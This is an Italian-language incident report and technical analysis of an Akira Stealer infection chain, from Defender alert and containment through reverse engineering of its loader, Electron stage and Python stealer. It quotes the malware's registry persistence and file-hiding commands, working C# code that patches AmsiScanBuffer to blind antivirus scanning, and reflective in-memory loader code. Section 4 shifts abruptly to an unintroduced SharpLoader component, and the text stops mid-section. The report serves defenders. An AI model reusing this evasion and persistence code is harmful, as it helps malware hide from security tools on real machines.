Dentro Akira Stealer: analisi tecnica completa di uno stealer modulare

Tutto è iniziato con un singolo alert di Defender in Microsoft 365. Nessun malware, nessuna signature, nessun panico. Solo un sussurro nel rumore di fondo. Quello che abbiamo portato alla luce erano mesi di furto di credenziali, chirurgico, silenzioso e quasi invisibile. Ecco come il nostro CSOC ha trasformato un segnale sommesso in una risposta su vasta scala. E ha restituito il controllo al cliente prima ancora che si accorgesse di averlo perso.

Dentro Akira Stealer: analisi tecnica completa di uno stealer modulare

Prologo

È iniziato come iniziano tanti attacchi moderni: in silenzio. Un alert di Defender a bassa confidence, "Suspicious sequence of exploration activities", è emerso durante la fase di onboarding di un nuovo cliente nel nostro glueckkanja Cyber Security Operations Center (CSOC).

Nessun riscontro sulle signature. Nessuna classificazione di malware. Nessuna reazione della protezione in tempo reale. Solo una singola correlazione comportamentale in Microsoft 365 Defender, sepolta nel rumore di fondo, eppure inequivocabilmente sbagliata.

Durante il triage dell'alert una azione specifica ha attirato la mia attenzione: python.exe aveva letto sia il file Login Data sia il file Web Data all'interno di un profilo Chromium. Microsoft Defender ha immediatamente elevato la cosa a incidente ad alta gravità, "Possible theft of passwords and other sensitive web browser information."

Non era un falso positivo. Era la punta di qualcosa di più profondo.

Ripercorrendo la telemetria a ritroso ho trovato una binary generica collocata nella cartella di avvio, Updater.exe, che lanciava un wrapper basato su NodeJS (main.exe), il quale a sua volta eseguiva una riga di comando per avviare uno script chiamato astor.py tramite python.exe.

Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py

Lo script non si limitava a raccogliere credenziali, eseguiva una sequenza di passi di ricognizione post compromissione, tra cui query al registro di sistema, fingerprinting del sistema e enumerazione consapevole dei privilegi. Operava con precisione chirurgica, imitando il comportamento nativo del sistema per sfuggire al rilevamento. E funzionava, quasi.

Al momento del primo intervento:

  • Updater.exe era segnalato da appena 1 motore su 69 su VirusTotal.
  • main.exe, astor.py e tutti i componenti collegati non erano praticamente segnalati su VirusTotal.
  • Nessun file era firmato. Nessun contesto elevato. Solo processi "ordinari" che facevano cose molto poco ordinarie.

Updater.exe non toccava le credenziali. Quel compito era riservato ad astor.py, il payload Python residente in memoria, un file che per costruzione non lasciava quasi traccia.

Entro 21 minuti il sistema colpito è stato isolato dalla rete. Entro 70 minuti le credenziali sono state ruotate su tutti gli ambiti interessati: identità interne, piattaforme SaaS, servizi di terze parti.

La vera svolta è arrivata però quando abbiamo estratto e decifrato completamente il payload Python. Quello che abbiamo trovato non era uno stealer generico, era un deployment su misura di Akira Stealer v2, una famiglia di malware distribuita commercialmente e venduta via Telegram.

Grazie alle nostre capacità interne di threat intelligence e reverse engineering siamo riusciti a ricostruire l'intera funzionalità del malware, a estrarre tutti gli indicatori incorporati e a comprendere nel dettaglio la sua logica di staging, esfiltrazione e selezione delle credenziali.

Ancora più importante, non ci siamo fermati all'attribuzione tecnica. Siamo andati oltre.

Abbiamo potuto consegnare al cliente un dataset completo delle credenziali esfiltrate: oltre 100 combinazioni uniche di nome utente e password, comprese le credenziali di accesso a servizi cloud, sistemi CRM, piattaforme interne e persino strumenti personali usati da collaboratori chiave. Il furto andava avanti da mesi, e siamo riusciti a rendere conto di tutto.

Partendo da quanto appreso in questo caso abbiamo costruito uno strumento di analisi post infezione che scansiona i sistemi colpiti, ricostruisce i pattern di accesso alle credenziali e genera report forensi dettagliati, mappando esattamente che cosa è stato rubato, quando e da dove.

Daremo un assaggio di quello scanner alla fine di questo report.

Perché questo è molto più di un semplice incidente. È così che indaghiamo. È così che proteggiamo.

Benvenuto nel glueckkanja CSOC.
È così che lavoriamo, perché le violazioni non aspettano.

1. Evento iniziale e sintesi del triage

Il 31 marzo 2025 Microsoft Defender for Endpoint ha generato un alert etichettato "Suspicious sequence of exploration activities" su un endpoint Windows 10 a 64 bit. Ho avviato il triage partendo da questo segnale e ho esaminato il sistema colpito attraverso l'albero dei processi, la timeline di sistema e le evidenze correlate da Defender.

1.1 Triage basato sulla timeline

L'alert puntava a una sequenza di processi che meritava un esame più approfondito. Durante la prima verifica ho osservato i seguenti pattern di accesso ai dati del browser Chrome nel profilo utente locale:

  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data

Questi accessi erano avviati da un processo chiamato Updater.exe. Anche se Microsoft Defender non aveva segnalato la binary sulla base di analisi euristiche o comportamentali, ho trovato un rilevamento per Updater.exe su VirusTotal, segnalato da un solo motore in quel momento.

Microsoft Defender

L'intera catena di esecuzione osservata era la seguente:

winlogon.exe
└── userinit.exe
    └── explorer.exe
        └── Updater.exe
            └── main.exe
                └── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
                    └── python.exe Crypto\Util\astor.py

A questo stadio non era stata eseguita alcuna analisi statica o dinamica più approfondita dei file coinvolti. Il mio obiettivo era capire il comportamento e il contesto a livello generale. I nomi dei processi e i percorsi dei file erano generici e non erano presenti argomenti da riga di comando sospetti oltre all'esecuzione Python concatenata.

1.2 Prima risposta

Entro 21 minuti dall'alert iniziale ho avviato l'isolamento dell'host usando le funzioni di isolamento di Defender for Endpoint. L'obiettivo era impedire un'ulteriore possibile diffusione o esfiltrazione.

Entro i primi 70 minuti abbiamo proceduto a ruotare le credenziali note per essere in uso sull'host colpito, coprendo sistemi interni, piattaforme SaaS e fornitori terzi critici.

Il processo di reverse engineering è iniziato dopo il primo contenimento. Le sezioni seguenti documentano l'analisi tecnica approfondita condotta per indagare sulla violazione.

1.3 Sintesi della risposta: rapida, trasparente, orientata all'impatto

La nostra risposta ha combinato velocità, competenza ed eccellenza operativa, sostenute da workflow collaudati e da piena visibilità per il cliente.

  • Dal rilevamento al contenimento completo in meno di 90 minuti Alert di Defender, isolamento di rete, scansione antivirus e revoca delle credenziali eseguiti rapidamente e in modo coordinato.
  • Risposta forense approfondita entro 48 ore Compresa l'analisi completa di disco e memoria, l'esame degli artefatti del browser, il rilevamento del credential dumping e la ricostruzione comportamentale dell'attività dell'attaccante.
  • Recupero sicuro dei dati e gestione delle evidenze I dati sottratti, tra cui cookie, password, token e profili del browser, sono stati recuperati, archiviati in modo forense e consegnati in sicurezza al cliente.
  • Visibilità e comunicazione end to end Ogni passaggio, dal primo alert alla remediation e al debriefing, è stato documentato integralmente, condiviso in tempo reale e riassunto in un handover CSIRT strutturato.

Questo incidente mostra come il glueckkanja CSOC non si limiti a fermare il malware: ne smontiamo gli effetti, restituiamo il controllo ai nostri clienti e trasformiamo ogni incidente in conoscenza.

2. Architettura del malware e panoramica della catena di esecuzione

Il malware osservato sull'endpoint colpito seguiva un'architettura strutturata e multistadio con una chiara separazione delle responsabilità: distribuzione, decodifica, esecuzione ed esfiltrazione dei dati.

2.1 Panoramica della catena di esecuzione

Il flusso di esecuzione osservato era il seguente:

Updater.exe

​   └── main.exe
​       └── cmd.exe
​           └── python.exe astor.py

Ogni componente della catena contribuiva a furtività, modularità ed evasione. L'architettura sfruttava runtime legittimi e interpreti standard del sistema operativo per aggirare i meccanismi di rilevamento.

2.1.1 Origine incerta: vettore iniziale mancante

Nonostante un'analisi approfondita dell'ambiente post compromissione, il vettore di accesso iniziale non ha potuto essere determinato con certezza. Questa incertezza deriva soprattutto dal fatto che il malware era rimasto attivo per una stima di sei mesi prima del rilevamento, un periodo che supera la finestra di conservazione dei log applicata da Microsoft Defender for Endpoint.

Di conseguenza non era disponibile alcuna telemetria né alcun artefatto forense risalente al momento originario dell'infezione. Nessun evento di creazione processo iniziale, nessun file droppato e nessuna voce da riga di comando relativa alla fase di delivery erano recuperabili dalla timeline di Defender o dai sensori collegati.

Sulla base di indicatori contestuali e fonti OSINT, un probabile vettore di infezione potrebbe aver coinvolto:

  • Installer trojanizzati di software di gioco craccato o moddato
  • Utility false o "performance booster" distribuiti tramite forum e siti di terze parti
  • Estensioni del browser malevole mirate a interessi specifici degli utenti (per esempio strumenti legati alle criptovalute o estensioni per Discord)

Restano però ipotesi.

Durante l'indagine non è stato possibile identificare alcun dropper confermato, alcuna email di phishing o alcun sito compromesso. Pur avendo ricostruito integralmente l'architettura del malware e la catena di esecuzione, il punto iniziale di compromissione (MITRE ATT&CK T1190 / T1566) non ha potuto essere validato.

2.1.2 Updater.exe, il loader iniziale

Esaminando l'albero dei processi in Microsoft 365 Defender, Updater.exe è saltato subito all'occhio, non per quello che faceva, ma per quanto silenziosamente si era inserito nel flusso di esecuzione del sistema.

Questa binary era registrata per l'esecuzione automatica tramite la classica chiave Run di Windows:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Questo significava che sarebbe partita a ogni accesso dell'utente alla propria sessione, un classico meccanismo di persistenza che non richiede privilegi elevati e che spesso passa inosservato nella telemetria EDR.

  • Tipo di file: eseguibile PE di Windows (32 bit)
  • Firma: non firmato
  • Rilevamento VirusTotal: 1 motore su 69 al momento del triage
  • Contesto di esecuzione: integrità media, sessione utente
  • Posizione: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Il file in sé era piccolo, compilato in modo pulito e del tutto ordinario dal punto di vista dell'analisi statica. Nessuna stringa sospetta, nessuna sezione cifrata, nessun indicatore di offuscamento o packing. Importava solo un insieme minimo di funzioni API standard di Windows e non conteneva alcun payload incorporato.

Il suo comportamento era però più eloquente. Una volta avviato, Updater.exe estraeva un'applicazione Electron da un archivio incluso, un runtime NodeJS autonomo impacchettato con gli strumenti standard di Electron. La cartella scompattata conteneva un eseguibile chiamato main.exe, lanciato subito dopo come processo figlio.

Updater.exe → main.exe

A questo stadio non c'erano indicatori di rete, nessuna process injection e nessuna anomalia nei privilegi o nell'elevazione dei token. L'intero ruolo di Updater.exe sembrava essere quello di un loader, incaricato di portare nell'ambiente un componente di secondo stadio (main.exe), probabilmente con l'obiettivo di mantenere furtività e modularità.

Questo tipo di separazione architetturale è comune nel malware commodity moderno e nei toolkit di tipo stealer. Il loader iniziale funge solo da stub di distribuzione e lascia la logica più pesante, spesso offuscata, interpretata o generata dinamicamente, agli stadi successivi.

In questo caso Updater.exe serviva esattamente a quello: un punto d'appoggio iniziale silenzioso, progettato per mimetizzarsi, restare invisibile e aprire la strada all'esecuzione della vera logica di stealer in main.exe e infine in astor.py.

Non toccava il file system al di fuori della propria directory e non faceva scattare alcuna regola comportamentale, eppure era la prima tessera di una catena d'attacco lunga e costruita con cura.

2.1.3 main.exe, contenitore di payload NodeJS offuscato

Dopo l'esecuzione di Updater.exe veniva lanciata una binary di secondo stadio chiamata main.exe. Questo componente si presentava come una normale applicazione Electron, un ambiente runtime che impacchetta Node.js e Chromium ed è spesso usato per app desktop multipiattaforma. La sua natura innocua è parte di ciò che lo rende così pericoloso nelle mani sbagliate.

All'esame, main.exe conteneva un archivio interno chiamato app.asar, il formato di packaging standard per le applicazioni basate su Electron. A differenza delle app Electron legittime, però, il contenuto di questo archivio era tutt'altro che ordinario.

  • Piattaforma: Electron (Node.js + Chromium)
  • Architettura: Windows a 64 bit
  • Struttura del contenuto: file JavaScript incorporati in app.asar
  • Livello di offuscamento: alto, ottenuto con js-confuser, un toolkit di offuscamento per JavaScript disponibile commercialmente

Una volta decompilata e deoffuscata, la logica centrale di main.exe è diventata evidente. Il suo scopo non era mostrare una GUI o eseguire logica di frontend, agiva invece da orchestratore di esecuzione nascosto.

Comportamento osservato:

  • Decifra e ricostruisce un comando PowerShell codificato in Base64 memorizzato all'interno del payload JavaScript
  • Avvia cmd.exe per eseguire il comando PowerShell inline
  • Il comando PowerShell richiama a sua volta python.exe, passandogli uno script collocato in una struttura di directory apparentemente innocua (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py

Questa concatenazione permetteva all'attaccante di cambiare contesto di esecuzione e di sfuggire a un rilevamento diretto. Poiché il payload era offuscato e preparato in memoria, i controlli tradizionali basati su signature risultavano inefficaci.

Il framework Electron offriva una copertura ideale, perché consentiva l'esecuzione di JavaScript arbitrario evitando l'attenzione dei controlli. L'esecuzione basata su JavaScript introduceva anche compatibilità multipiattaforma, rendendo possibile una distribuzione flessibile e una più semplice integrazione di logica di controllo dinamica.

Ciò che rendeva main.exe particolarmente pericoloso era la capacità di operare senza scrivere alcun file aggiuntivo oltre a quanto già preparato. Lo script stealer veniva richiamato direttamente da disco, ma tutta la logica di staging e di esecuzione restava incorporata nel bundle Electron.

In sintesi, main.exe fungeva da nucleo di esecuzione offuscato e multistrato, da guardiano tra la persistenza iniziale e l'attivazione completa del payload di Akira Stealer in astor.py.

2.1.4 cmd.exe e il relay PowerShell

Questo stadio della catena di esecuzione funzionava da relay, non per la logica di payload, ma per offuscamento e indirezione.

Dopo che main.exe aveva completato il suo compito di scompattare e decodificare il payload, avviava un processo cmd.exe. Questo processo non conteneva logica malevola in sé e non scriveva né modificava file. Il suo unico scopo era fare da wrapper per lanciare una sessione PowerShell con un comando codificato.

Questo metodo è una tattica ben nota, usata per ridurre la visibilità e sfuggire al rilevamento:

  • Catena di esecuzione:
    main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>"
    
  • Scopo:
    • Incapsula l'esecuzione PowerShell in una shell aggiuntiva
    • Nasconde il codice PowerShell reale alla visibilità diretta nei log
    • Elude gli EDR che si attivano sull'uso diretto di powershell.exe con parametri sospetti

Incorporando lo script PowerShell come stringa codificata in Base64 e invocandolo tramite cmd.exe, l'attaccante evitava diverse forme di rilevamento:

  • Filtri euristici sulla riga di comando
  • Logging standard (per esempio Event ID 4104, 4688)
  • Rilevamenti basati su regole per argomenti di powershell.exe come -NoProfile, -ExecutionPolicy Bypass o script inline

Va notato che il comando PowerShell era tenuto al minimo e mirava unicamente ad avviare python.exe con il percorso dello script stealer incorporato, astor.py. Non venivano caricati moduli aggiuntivi e non erano presenti signature evidenti in memoria.

Questa tecnica di relay è usata spesso sia nel red teaming sia dagli infostealer sofisticati, come strato di evasione leggero, facile da implementare ma difficile da intercettare senza correlazione della telemetria.

In questo caso cmd.exe serviva esattamente a questo: un ponte semplice e silenzioso tra la logica JavaScript e l'esecuzione Python, un ponte che è quasi passato inosservato.

2.1.5 python.exe con astor.py

L'ultimo stadio della catena di esecuzione, e quello di maggiore impatto, veniva raggiunto quando python.exe richiamava astor.py, un infostealer modulare scritto in Python che opera interamente in memoria. Questo script costituiva il nucleo operativo dell'intera catena d'attacco.

A differenza di molti stealer commodity, astor.py non era distribuito in chiaro. Era protetto da un meccanismo di decifratura multistrato:

  • Stack di decifratura: il file veniva prima compresso con GZIP e poi cifrato con AES-256-CBC.
  • Derivazione della chiave: veniva usato un processo di derivazione della chiave basato su PBKDF2 (SHA-512, 1.000.000 di iterazioni), che rende l'analisi statica e il brute forcing altamente impraticabili.

Una volta decifrato a runtime, lo script eseguiva diversi moduli specializzati, tutti rivolti a fonti di dati sensibili:

Funzionalità principali

  • Estrazione dei dati del browser: recuperava credenziali di accesso, cookie e dati di compilazione automatica dai browser basati su Chromium (Chrome, Edge, Brave, Opera)
  • Raccolta di token: raccoglieva token di sessione, in particolare da Discord, e cercava estensioni di wallet di criptovalute
  • Confezionamento dei dati: aggregava tutti i dati raccolti in un archivio ZIP strutturato, preservando il contesto di directory e file per l'elaborazione lato attaccante
  • Esfiltrazione: caricava l'archivio risultante su API e infrastrutture pubbliche.

Contesto di esecuzione

L'intera logica di stealer veniva eseguita dalla memoria, senza scrivere file persistenti su disco. Lasciava tracce minime nella telemetria, oltre agli artefatti in memoria di processo e alla normale invocazione di sottoprocessi. A questo stadio non veniva fatto alcun tentativo di stabilire persistenza: l'obiettivo era un furto di dati rapido, efficiente e silenzioso.

Anche l'uso di API legittime per l'esfiltrazione rendeva rilevamento e prevenzione molto più difficili, perché il traffico in uscita si confondeva con la normale attività internet.

Questo stadio ha confermato definitivamente l'identità del malware: una variante di Akira Stealer v2, nota per:

  • Elevata modularità
  • Offuscamento a runtime
  • Distribuzione commerciale via Telegram
  • Forte focus sulla raccolta di credenziali e sul session hijacking basato su token

Insieme agli stadi precedenti, astor.py costituiva il capolinea critico di una catena infostealer furtiva e ben progettata. Nelle sezioni seguenti analizziamo più a fondo questo componente e spieghiamo come ne abbiamo invertito la logica, mappato l'infrastruttura e recuperato ogni indicatore di compromissione usato durante la sua attività.

3. Deep Dive: Updater.exe

Updater.exe è stata la prima binary osservata durante l'analisi post compromissione. Nonostante l'aspetto neutro e l'impronta di rilevamento trascurabile, ha giocato un ruolo decisivo nel mantenere la persistenza operativa del malware e nel consegnare il payload dello stadio successivo.

3.1 Proprietà

PropertyValue
Format:Windows Portable Executable (PE32)
Architecture:x86-64
Size:~154 KB
Entropy:Normal (non-packed)
Signatures:None
VirusTotal Detection:1/69 at time of analysis

Il file presentava una tabella degli import pulita e nessun indicatore nelle stringhe incorporate. Non sono stati rilevati packer, crypter o meccanismi di offuscamento a runtime noti. La struttura era coerente con binary compilate su misura.

3.2 Analisi comportamentale

Nessuna interazione dell'utente richiesta

La catena di malware veniva eseguita senza alcuna interazione necessaria da parte dell'utente. In base alla telemetria di processo di Defender, la binary iniziale (Updater.exe) veniva lanciata automaticamente, con ogni probabilità tramite un meccanismo di persistenza come una chiave di autorun nel registro di sistema. A causa dell'età della compromissione e dell'assenza di log storici degli eventi, però, il metodo esatto di persistenza non è stato recuperabile.

Esecuzione e staging silenziosi

All'avvio, Updater.exe lanciava immediatamente main.exe senza alcuna finestra visibile e senza richieste all'utente. Lo staging avveniva in silenzio in background. Non c'era traccia di finestre di consenso, prompt UAC o componenti di interfaccia.

Comportamento di distribuzione del payload

main.exe faceva parte di una struttura di applicazione Electron, ma l'origine esatta della sua distribuzione resta poco chiara. Si presume una delle due possibilità seguenti:

  • Il payload potrebbe essere stato incluso internamente in Updater.exe (per esempio come risorsa incorporata), oppure
  • Potrebbe essere stato scaricato da una fonte remota

Per la mancanza di telemetria di rete e in assenza di URL hardcoded recuperati, il vettore di delivery dell'app Electron resta indeterminato.

Comportamento della catena di processi

Una volta eseguita, Updater.exe generava main.exe come processo figlio. L'invocazione era non interattiva e nessun processo generato dalla catena mostrava attività di interfaccia. La catena di processi proseguiva come previsto:

Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py

Tutti gli stadi di esecuzione operavano senza richiedere input dell'utente, affidandosi unicamente a logiche di avvio preconfigurate e a percorsi di esecuzione silenziosi. Questo riduceva l'esposizione e aiutava il malware a restare invisibile per un periodo prolungato.

3.3 Ruolo nella catena di infezione

Updater.exe svolgeva un ruolo unico ma essenziale all'interno della più ampia catena di infezione: era responsabile della persistenza e della ridistribuzione del componente di stadio 2, cioè main.exe.

Caratteristiche confermate

  • Non conteneva né eseguiva logica malevola in modo diretto
  • Non effettuava alcuna esfiltrazione di dati
  • Non interagiva con gli archivi di credenziali del browser o con dati sensibili dell'utente

Il suo unico scopo era avviare in silenzio main.exe durante il login dell'utente, usando una voce di autorun nel registro come metodo di persistenza più probabile (anche se non recuperato direttamente per i limiti della telemetria).

Agendo da loader di primo stadio isolato, Updater.exe faceva sì che il vero payload di stealer (astor.py) restasse nascosto negli strati più profondi dell'esecuzione. Questa separazione dei compiti permetteva agli attaccanti di:

  • Evitare la correlazione da parte di AV statici o sistemi sandbox
  • Sostituire o aggiornare i payload senza modificare il loader
  • Ridurre i segnali comportamentali nel punto di ingresso

Questo schema è tipico delle operazioni malware-as-a-service (MaaS), dove i meccanismi di delivery sono generici e i payload sono modulari o specifici per cliente.

In questo caso Updater.exe forniva giusto la logica sufficiente a fungere da punto di ingresso affidabile e furtivo, niente di più, ma neanche niente di meno.

3.4 Persistenza tramite registro (confermata in astor.py)

L'analisi statica del payload Python ha rivelato che Updater.exe viene reso persistente esplicitamente tramite una voce di autorun nel registro:

  • Percorso di registro: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Nome del valore: Realtek Audio
  • Percorso del payload: %APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Il comando di registro corrispondente viene eseguito tramite PowerShell:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f

Questo garantisce che il malware venga avviato a ogni login dell'utente. Al file vengono inoltre assegnati gli attributi hidden e system per sfuggire ulteriormente al rilevamento:

attrib +h +s "Updater.exe"

Questo meccanismo di persistenza era incorporato direttamente nel codice di astor.py, a conferma che lo stealer di ultimo stadio mantiene attivamente la presenza del loader su disco e nel registro di avvio.

3.5 Sintesi

Anche se Updater.exe non era di per sé malevolo per struttura o contenuto, il suo comportamento contestuale all'interno della catena di esecuzione ne ha confermato il ruolo di malware loader.

Questa binary fungeva da launcher di primo stadio pulito e minimale, capace di eludere analisi statica, motori AV e regole comportamentali. Il suo design puntava unicamente alla furtività e al supporto operativo, non all'esecuzione di logica malevola in proprio.

Il suo ruolo andava però oltre la distribuzione iniziale. Durante il reverse engineering del payload astor.py abbiamo individuato una logica che verificava attivamente la presenza di Updater.exe. Questo controllo faceva parte di un più ampio ciclo di health check e autoriparazione implementato nel codice dello stealer, un meccanismo pensato per verificare l'integrità della catena di infezione e ripristinare i componenti mancanti quando necessario.

Questo significa che Updater.exe non era solo responsabile dell'avvio del malware, ma faceva anche parte della sua validazione continua a runtime. Senza questo stub il malware avrebbe potuto perdere la capacità di reinizializzarsi nelle sessioni successive.

Funzioni chiave di Updater.exe:

  • Distribuzione senza attriti di main.exe
  • Esecuzione indiretta di astor.py
  • Disaccoppiamento tra logica di loader e logica di payload
  • Referenziato dal payload stesso come parte del monitoraggio dello stato operativo

Nella sezione 5 illustreremo nel dettaglio le routine interne di health check dello stealer, compreso il comportamento di autoriparazione e i meccanismi di validazione dell'integrità.

Per ora è chiaro che Updater.exe fungeva sia da accensione sia da punto di ancoraggio in questa architettura infostealer a strati.

3.6 Trucco di estrazione: battere il loader in astuzia

A volte i migliori risultati di reverse engineering non arrivano dal disassemblaggio approfondito di una binary, ma da un po' di astuzia e di pazienza.

Analizzando l'infezione in un ambiente di laboratorio controllato abbiamo notato qualcosa di strano: Updater.exe era presente e in esecuzione, ma main.exe era sparito dal file system. È lì che ci è venuta un'idea: che succede se lasciamo che il malware si ripari da solo?

Abbiamo cancellato deliberatamente main.exe dall'ambiente infetto, lasciando intatto Updater.exe. E puntualmente, dopo il login della sessione utente successiva, il loader è entrato in azione, non con una protesta, ma con un tentativo silenzioso di ricostruire il suo secondo stadio.

Ed è qui che la cosa si è fatta interessante: invece di ricreare direttamente main.exe, Updater.exe ha prima scritto un file chiamato app-64.7z, un normale archivio 7-Zip. Questo archivio conteneva l'intera struttura dell'applicazione Electron, compresi main.exe, resources e il payload app.asar con tutta la logica incorporata.

Di fatto avevamo costretto il malware a consegnarci il pacchetto sorgente.

Rilevato eseguibile Updater sospetto

Con questo archivio 7z in mano siamo riusciti a estrarre, decomprimere e invertire completamente la logica di orchestrazione basata su JavaScript senza nemmeno toccare di nuovo il loader originale. La struttura dell'archivio corrispondeva perfettamente al layout atteso di un'app Electron.

Questo comportamento suggerisce con forza che gli attaccanti abbiano scelto deliberatamente un'architettura modulare e manutenibile, usando gli archivi come contenitori di payload flessibili. Ha permesso loro anche di sostituire o aggiornare i componenti del payload senza ricompilare la binary del loader.

E nel nostro caso? Ci ha permesso di battere in astuzia la loro catena, intercettare il drop e andarcene con il pacchetto completo, come rubare i progetti dal banco da lavoro mentre il costruttore guarda altrove.

Diciamo solo questo: a volte i migliori strumenti forensi sono del, wait e un pizzico di curiosità.

4. Deep Dive: pow.bat

Nella campagna di malware analizzata, il componente Invoke-SharpLoader agisce da loader .NET residente in memoria e costruito su misura, con un flusso di esecuzione altamente modulare ed evasivo. Questa sezione analizza la sua architettura interna, la sua strategia anti analisi tramite patching di AMSI e il suo ruolo nel facilitare il payload di secondo stadio.

4.1 Proprietà della binary: il wrapper batch di SharpLoader

Prima di essere eseguito per caricare in memoria il payload .NET, il wrapper esterno pow.bat mostra le seguenti caratteristiche in base all'analisi statica:

PropertyValue
Format:DOS Batch File
Architecture:Script-based (not compiled binary)
File Size:27.79 KB (28454 bytes)
Entropy:Normal (plain ASCII text)
Magic:DOS batch file, ASCII text
Digital Signature:None detected
VirusTotal Detection:26 / 61 (at time of analysis)
Threat Labels:trojan, downloader, powershell, agentb

Pur essendo un semplice file .bat, lo script elude molti rilevamenti statici e si appoggia in larga misura a tecniche living-off-the-land come PowerShell per scaricare ed eseguire payload offuscati e cifrati.

4.2 Tecnica di bypass di AMSI (classe: gofor4msi)

Uno dei primi meccanismi difensivi aggirati da SharpLoader è AMSI, l'Anti-Malware Scan Interface, una funzionalità Microsoft integrata in motori di scripting come PowerShell e Windows Script Host per fornire una scansione in tempo reale dei contenuti alla ricerca di comportamenti sospetti. Gli autori di malware cercano spesso di aggirare AMSI per non essere rilevati dai sistemi di endpoint protection.

In SharpLoader il bypass di AMSI è realizzato tramite patching diretto in memoria della funzione AmsiScanBuffer all'interno di amsi.dll. Questa funzione è normalmente responsabile di analizzare il contenuto degli script e di restituire un codice di risultato che indica se il contenuto è sospetto (AMSI_RESULT_DETECTED) o sicuro (AMSI_RESULT_CLEAN).

Il codice di patching in memoria interessato è il seguente:

var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);

Questa sequenza esegue i passi seguenti:

  1. Carica la DLL di AMSI nel processo con LoadLibrary("amsi.dll").
  2. Risolve l'indirizzo di memoria della funzione AmsiScanBuffer tramite GetProcAddress().
  3. Modifica la protezione della memoria dell'indirizzo con VirtualProtect() per renderla scrivibile.
  4. Sovrascrive l'inizio della funzione con Marshal.Copy() applicando una piccola patch shellcode.

La patch applicata sui sistemi a 64 bit è:

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret

Corrisponde alle istruzioni seguenti:

  • mov eax, 0x80070057 → imposta il codice di ritorno sul codice di errore Windows E_INVALIDARG
  • ret → esce immediatamente dalla funzione

In pratica questo fa sì che AmsiScanBuffer fallisca in silenzio e restituisca un risultato di mancato rilevamento, neutralizzando i controlli AMSI. Il malware può ora eseguire script o codice .NET che altrimenti farebbero scattare gli alert dell'antivirus.

Se l'esecuzione avviene su un sistema a 32 bit, viene applicata una patch diversa:

static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18

L'obiettivo è lo stesso, forzare un risultato "clean", ma adattato alla calling convention x86.

Usare chiamate P/Invoke dirette come LoadLibrary, GetProcAddress e VirtualProtect permette di eseguire questo patching in modo dinamico e senza invocare API di alto livello che potrebbero essere monitorate dagli strumenti EDR. Il metodo è compatto, efficace e lascia artefatti forensi minimi.

In sintesi, questa tecnica di bypass di AMSI è un attacco diretto di basso livello alla memoria dell'interfaccia antivirus, portato a termine in millisecondi durante il runtime. È un esempio efficace del perché il monitoraggio comportamentale e l'ispezione della memoria siano essenziali nei sistemi moderni di difesa dell'endpoint.

4.3 Gestione del payload di stadio 2

Completato il bypass di AMSI, il loader passa a recuperare e preparare il payload di secondo stadio. Questo payload non è incorporato nel loader stesso, ma viene prelevato da un server remoto oppure letto da disco, a seconda di come il loader viene invocato tramite il parametro $location.

Se la location inizia con http, viene interpretata come URL e il loader usa Get_Stage2() per scaricare il payload tramite HttpWebRequest. Se si tratta di un percorso locale, Get_Stage2disk() legge il contenuto direttamente dal file system. In entrambi i casi il contenuto atteso del file è un blob codificato in Base64, compresso con GZip e cifrato con AES.

Il loader esegue poi una pipeline di decodifica e decifratura in quattro stadi, interamente in memoria:

  1. Decodifica Base64: converte la stringa codificata in byte grezzi. Questo passo serve a nascondere il contenuto binario reale agli strumenti di ispezione statica e impedisce un semplice pattern matching.
  2. Decompressione GZip: i byte decodificati vengono passati a un GZipStream, che decomprime il payload. La compressione riduce la dimensione del file e aggiunge un ulteriore strato di offuscamento.
  3. Decifratura AES: i byte compressi vengono decifrati con AES (Rijndael) in modalità CBC. La chiave è derivata a runtime dalla password fornita dall'utente tramite hashing SHA-256 combinato con PBKDF2 (Rfc2898DeriveBytes) e un salt statico.
  4. Rimozione del salt: il risultato decifrato contiene ancora un prefisso di salt a lunghezza fissa (4 byte). Questi byte vengono rimossi manualmente per ottenere il blob binario pulito che rappresenta un assembly .NET valido.

La pipeline di decifratura viene eseguita così:

byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);

Qui AES_Decrypt() è una funzione personalizzata che incapsula l'algoritmo Rijndael, configurato con una chiave a 256 bit e un IV (initialization vector) a 128 bit, entrambi derivati dalla password.

Osservazioni chiave sul design:

  • L'uso di AES-CBC con PBKDF2 rende il brute forcing della password tutt'altro che banale.
  • Poiché la decifratura avviene in memoria, nessun risultato intermedio viene mai scritto su disco, il che riduce gli artefatti forensi.
  • Se viene fornita la password sbagliata, la decifratura fallisce in silenzio o produce dati non validi, con possibili esecuzioni fallite o eccezioni difficili da tracciare.

In sintesi, questo approccio multistadio alla gestione del payload alza notevolmente l'asticella sia per il rilevamento statico basato su signature sia per quello euristico. Senza esecuzione dal vivo o senza un'ispezione approfondita del comportamento del loader, difficilmente i difensori riusciranno a scoprire il payload incorporato se non conoscono anche la password e la logica esatta di decodifica.

4.4 Caricamento dinamico dell'assembly

Una volta decifrato con successo il payload di secondo stadio, l'array di byte risultante rappresenta un assembly .NET valido. Invece di scrivere questo assembly su disco, un indicatore comune per i sistemi antivirus o EDR, SharpLoader lo esegue direttamente in memoria tramite reflection:

Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });

